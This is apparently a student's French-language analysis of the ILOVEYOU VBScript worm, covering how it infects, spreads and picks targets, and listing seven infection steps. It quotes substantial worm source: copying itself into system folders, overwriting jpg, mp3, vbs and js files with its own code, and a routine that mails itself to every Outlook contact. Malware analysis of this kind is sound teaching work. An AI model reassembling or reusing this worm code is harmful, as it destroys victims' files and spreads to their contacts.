PARTI 2

1. **La méthode d'infection**

Le ver s'installe généralement sur un ordinateur vulnérable par le biais d'un script qui pourrait être contenu dans un e-mail. Ainsi dans le code, la méthode ***spreadtoemail()*** est utilisée pour envoyer cet e-mail . Lorsqu'un utilisateur ouvre cet e-mail et exécute la pièce jointe, cette partie du code ***Set fso = CreateObject("Scripting.FileSystemObject")*** accède l'ensemble du système de fichiers de l'ordinateur**.**

Une fois dans les répertoires une copie du script est insérée dans celui du système, remplaçant le contenu de ***MSKernel32.vbs*** et ***Win32DLL.vbs.*** Ensuite le vers affecte de tous les répertoires du système de fichiers en parcourant les différents disques accessibles

```
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
```

La méthode d'infection change en fonction du type de fichier

```
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
```

2. **La méthode de propagation**

Le ver parvient à se propager d'un ordinateur à l'autre principalement via des e-mails. Il utilise la bibliothèque Outlook pour accéder à la liste des contacts et envoie des e-mails contenant le malware en pièce jointe:

```
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="")
then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
x=x+1
```

le ver est capable de s'envoyer lui-même, aux utilisateur du même salon de chat sous format HTML.

3. La méthode de détection de cible

Le malware cible des fichiers à infecter en fonction de leurs extensions. Dans le code de la fonction infectfiles(folderspec), différentes extensions de fichiers sont spécifiées :

Il cible des fichiers avec des extensions : vbs, .vbe, .js, .jse, .css, .wsh, .sct, .hta, .jpg, .jpeg, .mp3, et .mp2. Pour chaque fichier rencontré, le ver vérifie son extension et, si elle correspond à une des extensions ciblées, il l'infecte en écrivant le code malveillant à la fin du fichier existant. Cette méthode permet au ver de se propager en utilisant des fichiers courants qui sont souvent ouverts par les utilisateurs.

```
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="ise") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
```

4. Documentation claire des étapes d'infection

ETAPE 1 : d'abord dans le but d'augmenter la durée d'exécution maximum du script vbs.

ETAPE 2 : il change le contenu des répertoires system tel que ***MSKernel32.vbs*** et ***Win32DLL.vbs*** et

ETAPE 3 : modifie les registres windows pour que ces deux fichiers systèmes soit lances au redémarrage de l'ordinateur.

(sous HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run).

ETAPE 4 : une page HTML est générée par le ver avec son contenu afin de pouvoir se propager via email autres utilisateurs du même group à travers la fonction html().

ETAPE 5 : Le script s'envoie lui-même par email aux contacts de l'utilisateur via Outlook.

ETAPE 6 : le script occupe tous les dossiers des disques locaux. Et de façon récursive repend le ver sur tous les sous-répertoires

ETAPE 7 lorsque le script tombe sur une extension (vbs, .vbe, .js, .jse, .css, .wsh, .sct, .hta, .jpg, .jpeg, .mp3, et .mp2) il les infecte automatiquement

En résumé, le ver utilise des techniques de contournement des mesures de sécurité, de modification du système, et de propagation via l'utilisateur, exploitant la confiance des gens envers les e-mails pour se répandre.